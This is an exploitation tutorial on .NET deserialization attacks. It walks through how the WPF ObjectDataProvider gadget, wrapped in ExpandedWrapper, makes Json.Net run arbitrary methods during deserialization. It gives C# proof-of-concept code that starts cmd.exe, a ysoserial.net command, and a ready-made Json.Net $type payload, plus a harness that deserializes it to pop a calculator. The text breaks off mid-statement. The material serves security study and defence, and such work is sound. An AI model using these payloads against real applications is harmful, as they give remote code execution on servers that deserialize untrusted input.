# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
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This post is dedicated to **understand how the gadget ObjectDataProvider is exploited** to obtain RCE and **how** the Serialization libraries **Json.Net and xmlSerializer can be abused** with that gadget.
## ObjectDataProvider Gadget
From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
Yeah, it's a weird explanation, so lets see what does this class have that is so interesting: This class allows to **wrap an arbitrary object**, use _**MethodParameters**_ to **set arbitrary parameters,** and then **use MethodName to call an arbitrary function** of the arbitrary object declared using the arbitrary parameters.\
Therefore, the arbitrary **object** will **execute** a **function** with **parameters while being deserialized.**
### **How is this possible**
The **System.Windows.Data** namespace, found within the **PresentationFramework.dll** at `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, is where the ObjectDataProvider is defined and implemented.
Using [**dnSpy**](https://github.com/0xd4d/dnSpy) you can **inspect the code** of the class we are interested in. In the image below we are seeing the code of **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
.png>)
As you can observe when `MethodName` is set `base.Refresh()` is called, lets take a look to what does it do:
.png>)
Ok, lets continue seeing what does `this.BeginQuery()` does. `BeginQuery` is overridden by `ObjectDataProvider` and this is what it does:
.png>)
Note that at the end of the code it's calling `this.QueryWorke(null)`. Let's see what does that execute:
.png>)
Note that this isn't the complete code of the function `QueryWorker` but it shows the interesting part of it: The code **calls `this.InvokeMethodOnInstance(out ex);`** this is the line where the **method set is invoked**.
If you want to check that just setting the _**MethodName**_\*\* it will be executed\*\*, you can run this code:
```java
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
```
Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
## ExpandedWrapper
Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_ instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\
This is very useful for cases as the one presented before, because we will be able to **wrap \_ObjectDataProvider**_\*\* inside an \*\*_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
You can check this wrapper with the following code:
```java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper myExpWrap = new ExpandedWrapper();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
```
## Json.Net
In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. So, if we could **deserialize the ObjectDataProvider gadget**, we could cause a **RCE** just deserializing an object.
### Json.Net example
First of all lets see an example on how to **serialize/deserialize** an object using this library:
```java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject(json);
Console.WriteLine(desaccount.Email);
}
}
}
```
### Abusing Json.Net
Using [ysoserial.net](https://github.com/pwntester/ysoserial.net) I crated the exploit:
```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
In this code you can **test the exploit**, just run it and you will see that a calc is executed:
```java
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject
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